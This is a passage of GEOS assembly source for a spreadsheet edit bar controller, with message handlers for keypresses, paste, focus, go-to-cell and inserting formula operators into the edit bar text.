ax - the message
same as MSG_META_KBD_CHAR:
cl - Character (Chars or VChar)
ch - CharacterSet (CS_BSW or CS_CONTROL)
dl - CharFlags
dh - ShiftState (left from conversion)
bp low - ToggleState
bp high - scan code
RETURN: none
DESTROYED: bx, si, di, ds, es (method handler)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 5/27/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EBCPassKeypress method dynamic SSEditBarControlClass, \
MSG_SSEBC_PASS_KEYPRESS
mov ax, MSG_META_KBD_CHAR
call SSCSendToSpreadsheet
ret
EBCPassKeypress endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
EBCEnableIcons
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Enable the edit icons
CALLED BY: MSG_SSEBC_ENABLE_ICONS
PASS: *ds:si - instance data
ds:di - *ds:si
es - seg addr of SSEditBarControlClass
ax - the message
RETURN:
DESTROYED: bx, si, di, ds, es (method handler)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 5/27/92 Initial version
martin 7/13/93 Added more features
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EBCEnableIcons method dynamic SSEditBarControlClass, \
MSG_SSEBC_DIS_ENABLE_EDIT_ICONS
.enter
;
; Do we have any icons?
;
call SSCGetToolBlockAndTools
xchg ax, cx ;ax <- MSG_GEN_SET_ENABLED
;
; If we have icons, enable them
;
test cx, mask SSEBCTF_EDIT_ICONS
jz iconsDone
call DisEnableEditIcons
iconsDone:
;
; Do we have a backspace button?
;
test cx, mask SSEBCTF_BACKSPACE_BUTTON
jz backspaceDone
call DisEnableBackspaceButton
backspaceDone:
;
; Do we have a mask selector?
;
test cx, mask SSEBCTF_FILTER_SELECTOR
jz exit
call DisEnableFilterSelector
exit:
.leave
ret
EBCEnableIcons endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
EBCGotoCellDB
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Goto a cell, from the DB
CALLED BY: MSG_SSEBC_GOTO_CELL_DB
PASS: *ds:si - instance data
ds:di - *ds:si
es - seg addr of SSEditBarControlClass
ax - the message
RETURN:
DESTROYED: bx, si, di, ds, es (method handler)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 6/ 5/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EBCGotoCellDB method dynamic SSEditBarControlClass, \
MSG_SSEBC_GOTO_CELL_DB
call SSCGetChildBlockAndFeatures
mov di, offset GotoDBCellEdit ;^lbx:di <- OD of text object
mov ax, MSG_SPREADSHEET_GOTO_CELL
call GetSendText
ret
EBCGotoCellDB endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
EBCGotoCell
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Goto a cell
CALLED BY: MSG_SSEBC_GOTO_CELL
PASS: *ds:si - instance data
ds:di - *ds:si
es - seg addr of SSEditBarControlClass
ax - the message
RETURN:
DESTROYED: bx, si, di, ds, es (method handler)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 6/ 5/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EBCGotoCell method dynamic SSEditBarControlClass, \
MSG_SSEBC_GOTO_CELL
call SSCGetToolBlockAndTools
mov di, offset GotoCellEdit ;^lbx:di <- OD of text object
mov ax, MSG_SPREADSHEET_GOTO_CELL
call GetSendText
ret
EBCGotoCell endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SetRCFromValue
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: go to cell specified by R/C GenValue pair
CALLED BY: UTILITY
PASS: *ds:si = controller
bx = child block
RETURN: nothing
DESTROYED: ax, bx, cx, dx, bp, si, di
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 10/28/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GetSendText
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get text from an controller text object and send to the ssheet
CALLED BY: UTILITY
PASS: *ds:si - controller
^lbx:di - OD of text object
ax - message to send
RETURN: none
DESTROYED: cx, dx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
NOTE: assumes the spreadsheet message wants the text as:
dx - handle of text block (NULL-terminated)
cx - length of text (w/o NULL)
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 6/ 5/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GetSendText proc near
.enter
;
; Get the text from the object
;
push si, ax
mov si, di ;^lbx:si <- OD of text object
clr dx ;dx <- alloc new block
mov ax, MSG_VIS_TEXT_GET_ALL_BLOCK
call EBC_ObjMessageCall
mov dx, cx ;dx <- new text block
mov cx, ax ;cx <- string length
pop si, ax
;
; Send the text to the Spreadsheet
;
call SSCSendToSpreadsheet
.leave
ret
GetSendText endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
EBCGetFlags
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get flags about the state of the edit bar
CALLED BY: MSG_SSEBC_GET_FLAGS
PASS: *ds:si - instance data
ds:di - *ds:si
es - seg addr of SSEditBarControlClass
ax - the message
RETURN: cl - SSEditBarControlFlags
DESTROYED: bx, si, di, ds, es (method handler)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
gene 1/31/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EBCGetFlags method dynamic SSEditBarControlClass,
MSG_SSEBC_GET_FLAGS
call SSCGetToolBlockAndTools
clr cl ;cl <- no flags
test ax, mask SSEBCTF_EDIT_BAR ;edit bar existeth?
jz noEditBar ;branch if not
mov si, offset EditBar ;^lbx:si <- OD of edit bar
mov ax, MSG_EBC_TEXT_EDIT_GET_FLAGS
call EBC_ObjMessageCall
noEditBar:
ret
EBCGetFlags endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GetSelection
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get the current selection range
CALLED BY: EBCTextReplaceSelection(), AddOpIfNeeded(), etc.
PASS: ^lbx:si - OD of text
ss:bp - ptr to VisTextRange
RETURN: ss:bp - VisTextRange filled in
DESTROYED: none
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
gene 2/ 2/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GetSelection proc far
uses ax, cx, dx
.enter
mov ax, MSG_VIS_TEXT_GET_SELECTION_RANGE
mov dx, ss ;dx:bp <- VisTextRange
call EBC_ObjMessageCall
EC < tst ss:[bp].VTR_start.high ;>
EC < ERROR_NZ VISIBLE_POSITION_TOO_LARGE >
EC < tst ss:[bp].VTR_end.high ;>
EC < ERROR_NZ VISIBLE_POSITION_TOO_LARGE >
.leave
ret
GetSelection endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SSEBCGrabFocus
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Grab the focus (and give it to the edit bar)
CALLED BY: MSG_SSEBC_GRAB_FOCUS
PASS: *ds:si - instance data
ds:di - *ds:si
es - seg addr of SSEditBarControlClass
ax - the message
RETURN:
DESTROYED: bx, si, di, ds, es (method handler)
PSEUDO CODE/STRATEGY:
NOTE: this is done via a separate message rather than subclassing
MSG_META_GRAB_FOCUS_EXCL because the "current cell" indicator can also
have/grab the focus...
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
gene 2/ 8/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SSEBCGrabFocus method dynamic SSEditBarControlClass,
MSG_SSEBC_GRAB_FOCUS
call SSCGetToolBlockAndTools
test ax, mask SSEBCTF_EDIT_BAR
jz noEditBar
mov si, offset EditBar ;^lbx:si <- OD of edit bar
mov ax, MSG_META_GRAB_FOCUS_EXCL
call EBC_ObjMessageCall
noEditBar:
ret
SSEBCGrabFocus endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SSEBCPaste
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: handle a paste by passing off to our text object
CALLED BY: MSG_META_CLIPBOARD_PASTE
PASS: *ds:si - instance data
ds:di - *ds:si
es - seg addr of SSEditBarControlClass
ax - the message
RETURN:
DESTROYED: bx, si, di, ds, es (method handler)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
gene 3/17/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SSEBCPaste method dynamic SSEditBarControlClass,
MSG_META_CLIPBOARD_PASTE
call SSCGetToolBlockAndTools
test ax, mask SSEBCTF_EDIT_BAR
jz noEditBar
mov si, offset EditBar ;^lbx:si <- OD of edit bar
if _PROTECT_CELL
;
; If the EditBar is not-enabled, then don't paste.
;
call EBCCheckEnabledEditBar
jnc error
endif
mov ax, MSG_VIS_TEXT_SELECT_ALL
call EBC_ObjMessageCall
mov ax, MSG_META_CLIPBOARD_PASTE
call EBC_ObjMessageCall
mov ax, MSG_META_GRAB_FOCUS_EXCL
call EBC_ObjMessageCall
noEditBar:
ret
if _PROTECT_CELL
error:
mov ax, SST_ERROR
call UserStandardSound
jmp noEditBar
endif
SSEBCPaste endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SSEBCNotifiedWithDataBlock
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Handle a handwriting notification by passing it off to our
text object.
CALLED BY: MSG_META_NOTIFY_WITH_DATA_BLOCK
PASS: *ds:si = SSEditBarControlClass object
ds:di = SSEditBarControlClass instance data
ds:bx = SSEditBarControlClass object (same as *ds:si)
es = segment of SSEditBarControlClass
ax = message #
cx:dx = NotificationType
cx - NT_manuf
dx - NT_type
^hbp = SHARABLE data block having a "reference count"
initialized via MemInitRefCount.
RETURN: nothing
DESTROYED: bx, si, di
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
HL 6/ 7/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SSEBCNotifiedWithDataBlock method dynamic SSEditBarControlClass,
MSG_META_NOTIFY_WITH_DATA_BLOCK
;
; We only want to pass this message on to our text object if it is
; sent with the notification type, GWNT_TEXT_REPLACE_WITH_HWR.
; Any other notification types should be passed on to our superclass.
;
cmp cx, MANUFACTURER_ID_GEOWORKS
jne callSuper
cmp dx, GWNT_TEXT_REPLACE_WITH_HWR
jne callSuper
call SSCGetToolBlockAndTools
test ax, mask SSEBCTF_EDIT_BAR
jz noEditBar
mov ax, MSG_META_NOTIFY_WITH_DATA_BLOCK
mov si, offset EditBar ;^lbx:si <- OD of edit bar
call EBC_ObjMessageCall
mov ax, MSG_META_GRAB_FOCUS_EXCL
call EBC_ObjMessageCall
noEditBar:
ret
callSuper:
mov di, offset SSEditBarControlClass
GOTO ObjCallSuperNoLock
SSEBCNotifiedWithDataBlock endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SSEBCContextNotif
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Handle message by passing it off to our text object.
CALLED BY: MSG_META_GENERATE_CONTEXT_NOTIFICATION
PASS: *ds:si = SSEditBarControlClass object
ds:di = SSEditBarControlClass instance data
ds:bx = SSEditBarControlClass object (same as *ds:si)
es = segment of SSEditBarControlClass
ax = message #
ss:bp = GetContextParams (GCP_replyObj ignored)
RETURN: nothing
DESTROYED: bx, si, di
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
HL 6/ 8/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SSEBCContextNotif method dynamic SSEditBarControlClass,
MSG_META_GENERATE_CONTEXT_NOTIFICATION
call SSCGetToolBlockAndTools
test ax, mask SSEBCTF_EDIT_BAR
jz noEditBar
mov ax, MSG_META_GENERATE_CONTEXT_NOTIFICATION
mov si, offset EditBar ;^lbx:si <- OD of edit bar
mov di, mask MF_STACK or mask MF_CALL
call ObjMessage
noEditBar:
ret
SSEBCContextNotif endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SSEBCDeleteRangeOfChars
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Handle message by passing it off to our text object.
CALLED BY: MSG_META_DELETE_RANGE_OF_CHARS
PASS: *ds:si = SSEditBarControlClass object
ds:di = SSEditBarControlClass instance data
ds:bx = SSEditBarControlClass object (same as *ds:si)
es = segment of SSEditBarControlClass
ax = message #
ss:bp = VisTextRange (range of chars to delete)
RETURN: nothing
DESTROYED: bx, si, di
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
HL 6/ 7/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SSEBCDeleteRangeOfChars method dynamic SSEditBarControlClass,
MSG_META_DELETE_RANGE_OF_CHARS
call SSCGetToolBlockAndTools
test ax, mask SSEBCTF_EDIT_BAR
jz noEditBar
mov ax, MSG_META_DELETE_RANGE_OF_CHARS
mov si, offset EditBar ;^lbx:si <- OD of edit bar
mov di, mask MF_STACK or mask MF_CALL
call ObjMessage
mov ax, MSG_META_GRAB_FOCUS_EXCL
call EBC_ObjMessageCall
noEditBar:
ret
SSEBCDeleteRangeOfChars endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SSEBCSetNotEnabled
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DESCRIPTION: Set the edit bar not modified, so that text doesn't
remain across document closings, etc.
PASS: *ds:si - SSEditBarControlClassClass object
ds:di - SSEditBarControlClassClass instance data
es - segment of SSEditBarControlClassClass
RETURN: nothing
DESTROYED: ax,cx,dx,bp
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
chrisb 11/15/93 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SSEBCSetNotEnabled method dynamic SSEditBarControlClass,
MSG_GEN_SET_NOT_ENABLED
mov di, offset SSEditBarControlClass
call ObjCallSuperNoLock
call SSCGetToolBlockAndTools
tst bx
jz done
test ax, mask SSEBCTF_EDIT_BAR
jz done
call EBC_NotModified
done:
ret
SSEBCSetNotEnabled endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ColumnValueGetValueText
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: get text representation of current value
CALLED BY: MSG_GEN_VALUE_GET_VALUE_TEXT
PASS: *ds:si = ColumnValueClass object
ds:di = ColumnValueClass instance data
ds:bx = ColumnValueClass object (same as *ds:si)
es = segment of ColumnValueClass
ax = message #
cx:dx = buffer for text
bp = GenValueType
RETURN: cx:dx = buffer filled
DESTROYED:
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
brianc 10/28/96 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EditBarControlCode ends
EditBarMouseCode segment resource
COMMENT @-----------------------------------------------------------------------
FUNCTION: EBCTextReplaceSelection
DESCRIPTION:
CALLED BY: INTERNAL (MSG_SPREADSHEET_REPLACE_TEXT_SELECTION)
Sent by the ChooseFunction and ChooseName controllers.
PASS: cx - length of text (0 for NULL-terminated)
^hdx - handle of text
dx - 0 to indicate that nothing should be appended at all
bp.low - offset to new cursor position
When the text is replaced, the cursor will be
positioned at the end of the new text, so the
offset will have to be 0 or less.
A value > 0 means to select the new text.
bp.high - UIFunctionsActive:
UIFA_EXTEND - extend modifier down
UIFA_ADJUST - adjust modifier down
RETURN: handle freed
DESTROYED: everything (method handler)
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 6/92 Initial version
-------------------------------------------------------------------------------@
EBCTextReplaceSelection method dynamic SSEditBarControlClass,
MSG_SPREADSHEET_REPLACE_TEXT_SELECTION
call SSCGetToolBlockAndTools
test ax, mask SSEBCTF_EDIT_BAR
LONG jz noEditBar ;branch if no edit bar
if _PROTECT_CELL
mov si, offset EditBar
call EBCCheckEnabledEditBar
LONG jnc freeBlock
endif
;
; Make sure the edit bar has the focus (it will enable the icons)
;
push cx, dx, bp
mov ax, MSG_META_GRAB_FOCUS_EXCL
mov si, offset EditBar
call EBMC_ObjMessageCall
pop cx, dx, bp
;
; Check for no block passed, meaning append nothing, no select change
;
tst dx
jz markModified
;
; An an operator if necessary
;
call AddOpIfNeeded
;
; For getting the current selection...
;
mov ax, bp ;ax <- offset, flags
sub sp, (size VisTextRange)
mov bp, sp
push ax ;save offset, flags
;
; If we want to select the new text, get the range of the
; old selection and adjust it accordingly.
;
tst al ;0 or less?
jle noNewSelect ;branch if 0 or less
;
; We adjust the new selection to start at the old start,
; and end at the old start plus the length of the new.
; This will select the new text (in theory...)
;
call GetSelection
tst cx ;length passed?
jnz gotLength ;branch if length passed
push bx
mov bx, dx ;bx <- text block
call MemLock
mov es, ax
clr di ;es:di <- ptr to text
call LocalStringLength ;cx <- # chars
call MemUnlock
pop bx
gotLength:
mov ax, cx
add ax, ss:[bp].VTR_start.low ;ax <- start + length
mov ss:[bp].VTR_end.low, ax
noNewSelect:
;
; Paste the text
;
push dx, bp
mov ax, MSG_VIS_TEXT_REPLACE_SELECTION_BLOCK
call EBMC_ObjMessageCall
pop dx, bp
;
; Free the text
;
push bx
mov bx, dx ;bx <- handle of text block
call MemFree
pop bx
;
; See if we need to adjust the selection
;
pop ax ;al <- offset to select
tst al ;already adjusted?
jg doneAdjust ;branch if adjusted
;
; Adjust the new selection by the appropriate amount
;
call GetSelection
cbw ;ax <- adjustment
neg ax
sub ss:[bp].VTR_start.low, ax ;sub offset
sub ss:[bp].VTR_end.low, ax ;sub offset
doneAdjust:
;
; Set the new selection
;
mov ax, MSG_VIS_TEXT_SELECT_RANGE
mov dx, size VisTextRange
call EBMC_ObjMessageCall
add sp, size VisTextRange
markModified:
;
; Mark the text as user modified
;
mov ax, MSG_VIS_TEXT_SET_USER_MODIFIED
call EBMC_ObjMessageCall
noEditBar:
ret
if _PROTECT_CELL
freeBlock:
mov bx, dx
tst bx ; On the off chance that there's no block
jz afterFree
call MemFree
afterFree:
mov ax, SST_ERROR
call UserStandardSound
ret
endif
EBCTextReplaceSelection endm
if _PROTECT_CELL
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
EBCCheckEnabledEditBar
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: To check if the EditBar is enabled or disabled.
CALLED BY: EBCTextReplaceSelection()
PASS: ^lbx:si = EditBar object
ds = pointing to some object blocks
RETURN: carry = set -- EditBar is enabled
clear -- EditBar is not-enabled
ds = updated
DESTROYED: ax, di
REVISION HISTORY:
Name Date Description
---- ---- -----------
CL 7/ 3/95 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EBCCheckEnabledEditBar proc far
uses cx, dx, bp
.enter
Assert objectOD bxsi, GenTextClass
mov ax, MSG_GEN_GET_ENABLED
mov di, mask MF_FIXUP_DS or mask MF_CALL
call ObjMessage
.leave
ret
EBCCheckEnabledEditBar endp
endif
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
AddOpIfNeeded
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Add an "=" or other operator to the edit bar if needed
CALLED BY: EBCTextReplaceSelection()
PASS: ^lbx:si - OD of edit bar text object
bp.high - UIFunctionsActive
UIFA_EXTEND - extend modifier down
UIFA_ADJUST - adjust modifier down
RETURN: none
DESTROYED: ax, di
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
Uses "mov dx, '+'" here to get char and C_NULL at same time.
In SBCS version, AddCharToEditbar depends on this.
REVISION HISTORY:
Name Date Description
---- ---- -----------
gene 9/28/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
AddOpIfNeeded proc near
uses bx, cx, dx
.enter
;
; Get the length of the current text, if any
;
push bp
mov ax, MSG_VIS_TEXT_GET_ALL_BLOCK
clr dx ;dx <- new block, please
call EBMC_ObjMessageCall
pop bp
tst ax
jnz checkOtherText
;
; There was no text -- add an "="
;
addEqual:
mov dx, "=" ;dx <- character to insert
addChar:
call AddCharToEditBar
done:
.leave
ret
checkOtherText:
mov dx, bp ;dh <- UIFunctionsActive
;
; Figure out where the selection is
;
push bp
sub sp, (size VisTextRange)
mov bp, sp ;ss:bp <- ptr to VisTextRange
call GetSelection
mov di, ss:[bp].VTR_start.low ;di <- start of selection
add sp, (size VisTextRange)
pop bp
tst di ;at start of edit bar?
jz addEqual ;branch if at start
;
; Get the character before the selection
;
push bx, ds
mov bx, cx ;bx <- handle of text
call MemLock
mov ds, ax ;ds <- seg addr of text
dec di ;di <- before selection start
DBCS< shl di, 1 ;di <- byte offset last char >
LocalGetChar ax, dsdi, NO_ADVANCE ;ax <- char before selection
call MemUnlock
pop bx, ds
;
; Special case ")" -- it needs another operator after it
;
LocalCmpChar ax, ")"
je addOperator
;
; See if it is punctuation -- if so, we're done
;
SBCS< clr ah >
call LocalIsPunctuation
jnz done ;branch if punctuation
;
; Figure out what operator to stick in based on the modifiers
;
addOperator:
mov al, dh ;al <- UIFunctionsActive
mov dx, ","
test al, mask UIFA_ADJUST ;<Ctrl>?
jnz addChar
mov dx, ":"
test al, mask UIFA_EXTEND ;<Shift>?
jnz addChar
mov dx, "+" ;default operator "+"
jmp addChar
AddOpIfNeeded endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
AddCharToEditBar
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Add a single character to the edit bar
CALLED BY: AddCharIfNeeded()
PASS: ^lbx:si - OD
dx - character to add
^hcx - handle of text
RETURN: cx - freed
DESTROYED: ax, dx
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
gene 2/ 2/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
AddCharToEditBar proc near
uses bx, bp
.enter
;
; Resize the passed block to a reasonable size
;
push bx, cx, ds
mov bx, cx ;bx <- handle of text
mov ax, (size word)*2 ;ax <- size in bytes
mov ch, mask HAF_LOCK or \
mask HAF_ZERO_INIT ;ch <- HeapAllocFlags
call MemReAlloc
mov ds, ax ;ds <- seg addr of block
mov ds:[0], dx
DBCS < mov {wchar}ds:[2], C_NULL ;NULL-terminate >
pop bx, cx, ds
;
; Replace the selected text
;
push cx
mov ax, MSG_VIS_TEXT_REPLACE_SELECTION_BLOCK
mov dx, cx ;dx <- handle of block
clr cx ;cx <- NULL-terminated
call EBMC_ObjMessageCall
pop bx
;
; Free the text block
;
call MemFree
.leave
ret
AddCharToEditBar endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
EBMC_ObjMessageCall
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Do an ObjMessage with MF_CALL and MF_FIXUP_DS
CALLED BY: UTILITY
PASS: ^lbx:si - OD of object
ax - message
cx, dx, bp - data for message
RETURN: ax, cx, dx, bp - depends on message
DESTROYED: ax, cx, dx, bp - depends on message
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
gene 2/ 1/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EBMC_ObjMessageCall proc near
uses di
.enter
mov di, mask MF_CALL or mask MF_FIXUP_DS
call ObjMessage
.leave
ret
EBMC_ObjMessageCall endp
EditBarMouseCode ends
| {
"pile_set_name": "Github"
} |
